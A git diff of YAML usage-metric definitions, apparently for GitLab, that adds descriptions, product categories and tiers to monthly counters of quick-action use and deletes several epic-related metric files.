--- a/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml
+++ b/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.issues_edit.g_project_management_issue_cloned_monthly
-description:
+description: Count of MAU cloning an issue
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml
index cbb391035c3..a100a5bebe7 100644
--- a/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml
@@ -1,6 +1,6 @@
---
key_path: redis_hll_counters.issues_edit.issues_edit_total_unique_counts_monthly
-description: Count of MAU taking an action related to an issue
+description: Aggregate count of MAU taking an action related to an issue
product_section: dev
product_stage: plan
product_group: group::project management
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml b/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
index 8115da08fd6..b1009642dcc 100644
--- a/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
+++ b/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_approve_monthly
-description:
+description: Count of MAU using the `/approve` quick action
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::code review
+product_category: code_review
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml b/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml
index ad94a07ca5b..e0922256104 100644
--- a/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml
+++ b/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_assign_single_monthly
-description:
+description: Count of MAU using the `/assign @user1` quick action to assign a single individual to an issuable
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml b/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml
deleted file mode 100644
index 8db1e881bd4..00000000000
--- a/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_assign_multiple_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml b/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml
index 378a22daa87..7c5303ecd8f 100644
--- a/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml
+++ b/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_assign_self_monthly
-description:
+description: Count of MAU using the `/assign me` quick action to assign self to an issuable
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml b/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml
index 39142f74dc1..bcf7a415138 100644
--- a/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml
+++ b/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_assign_reviewer_monthly
-description:
+description: Count of MAU using the `/assign_reviewer` or `request_reviewer` quick action
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::code review
+product_category: code_review
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml b/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml
index 7d728bbc794..8ea3318bc0c 100644
--- a/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml
+++ b/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_award_monthly
-description:
+description: Count of MAU using the `/award` quick action to set an award emoji on an issuable
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml b/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml
index 141ba7237d8..6baaabf7672 100644
--- a/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml
+++ b/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_board_move_monthly
-description:
+description: Count of MAU using the `/board_move` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml b/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml
deleted file mode 100644
index 5adcb8b0f27..00000000000
--- a/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_child_epic_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml b/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml
deleted file mode 100644
index a13f3d322ff..00000000000
--- a/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_clear_weight_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml b/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml
index ca22455151e..51c2b562057 100644
--- a/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml
+++ b/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_clone_monthly
-description:
+description: Count of MAU using the `/clone` quick action to clone an issue.
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml b/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml
index c10b3fe8107..be0524b633c 100644
--- a/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml
+++ b/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_close_monthly
-description:
+description: Count of MAU using the `/close` quick action to close an issuable
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml b/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml
index d3bc2162c89..9fa5af8c7c0 100644
--- a/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml
+++ b/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_confidential_monthly
-description:
+description: Count of MAU using the `/confidential` quick action to set an issue as confidential
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml b/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml
index a2d6b975753..cbd8aa83010 100644
--- a/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml
+++ b/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_monthly
-description:
+description: Count of MAU using the `/copy_metadata` quick action on a Merge Request
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml b/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml
index 23adb6a769c..3075ed64103 100644
--- a/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml
+++ b/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_monthly
-description:
+description: Count of MAU using the `/copy_metadata` quick action on an issue
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml b/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml
index 43b4cff5c11..9a83fe2b6e4 100644
--- a/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml
+++ b/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml
@@ -1,16 +1,19 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_create_merge_request_monthly
-description:
+description: Count of MAU using the `/create_merge_request` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml b/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml
index b7ac9de7655..9a90dc7a972 100644
--- a/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml
+++ b/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_done_monthly
-description:
+description: Count of MAU using the `/done` quick action to mark a todo as done
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml b/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml
index 4d88092cd72..778c15ac26b 100644
--- a/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml
+++ b/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_draft_monthly
-description:
+description: Count of MAU using the `/draft` quick action on a Merge Request
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml b/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml
index 0fd293e1bb9..2c785a8653a 100644
--- a/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml
+++ b/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_due_monthly
-description:
+description: Count of MAU using the `/due` quick action to change the due date on an issuable
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml b/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml
index 1d5750e5b43..68b668e7fc1 100644
--- a/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_duplicate_monthly
-description:
+description: Count of MAU using the `/duplicate` quick action to mark an issue as a duplicate of another
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml b/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml
deleted file mode 100644
index 0b448b0d3a1..00000000000
--- a/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_epic_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml b/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml
index b509c7ed358..a14340571a6 100644
--- a/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_estimate_monthly
-description:
+description: Count of MAU using the `/estimate` quick action to set a time estimate on an issue
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: time_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml b/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml
deleted file mode 100644
index 5759c131771..00000000000
--- a/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_iteration_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml b/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml
index 52d99012a45..d078d4bc7ce 100644
--- a/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml
+++ b/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_label_monthly
-description:
+description: Count of MAU using the `/label` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml b/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml
index 552748c4f2c..5be644e630f 100644
--- a/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml
+++ b/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_lock_monthly
-description:
+description: Count of MAU using the `/lock` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml b/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml
index 71488207321..8dcdee2b041 100644
--- a/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml
+++ b/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_merge_monthly
-description:
+description: Count of MAU using the `/merge` quick action
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml b/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml
index 65a466c4bf9..bb1b0d332fd 100644
--- a/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml
+++ b/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_milestone_monthly
-description:
-product_section: dev
+description: Count of MAU using the `/milestone` quick action
+product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml b/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml
index df657e463ba..30c1794a4a1 100644
--- a/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml
+++ b/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_move_monthly
-description:
+description: Count of MAU using the `/move` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml b/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml
deleted file mode 100644
index 2dbd62415f2..00000000000
--- a/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_parent_epic_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml b/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml
deleted file mode 100644
index b4fe23e7d95..00000000000
--- a/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_promote_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml b/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml
deleted file mode 100644
index c4d79fc2e11..00000000000
--- a/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_publish_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml b/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml
index 1043901a415..8672b1aa7b8 100644
--- a/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml
+++ b/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_reassign_monthly
-description:
+description: Count of MAU using the `/reassign @user1` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml b/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml
index 23041ca9a37..5ac680311f3 100644
--- a/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml
+++ b/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_monthly
-description:
+description: Count of MAU using the `/reassign_reviewer` quick action
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: create
+product_group: group::code review
+product_category: code_review
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml b/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml
index fcdf21bf28e..16c1cbd1360 100644
--- a/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml
+++ b/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_rebase_monthly
-description:
+description: Count of MAU using the `/rebase` quick action on a Merge Request
product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
+product_stage: source_code
+product_group: group::source code
+product_category: source_code_management
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml b/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml
index f285b5fc3f6..0d8cbf4fb0b 100644
--- a/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml
+++ b/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_relabel_monthly
-description:
+description: Count of MAU using the `/relabel` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml b/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml
index afc8fc3e800..9faa26a1236 100644
--- a/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_relate_monthly
-description:
+description: Count of MAU using the `/relate` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml b/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml
deleted file mode 100644
index ad161fd2516..00000000000
--- a/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_remove_child_epic_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml b/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml
index 5a75d6b7a24..d322615104d 100644
--- a/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml
+++ b/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_remove_due_date_monthly
-description:
+description: Count of MAU using the `/remove_due_date` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml b/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml
deleted file mode 100644
index 377f5e63c9b..00000000000
--- a/config/metrics/counts_28d/20210216181725_i_quickactions_remove_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.quickactions.i_quickactions_remove_epic_monthly
-description:
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml b/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml
index 6b3ff3b44e4..013ae8790a1 100644
--- a/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.quickactions.i_quickactions_remove_estimate_monthly
-description:
+description: Count of MAU using the `/remove_estimate` quick action
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: time_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
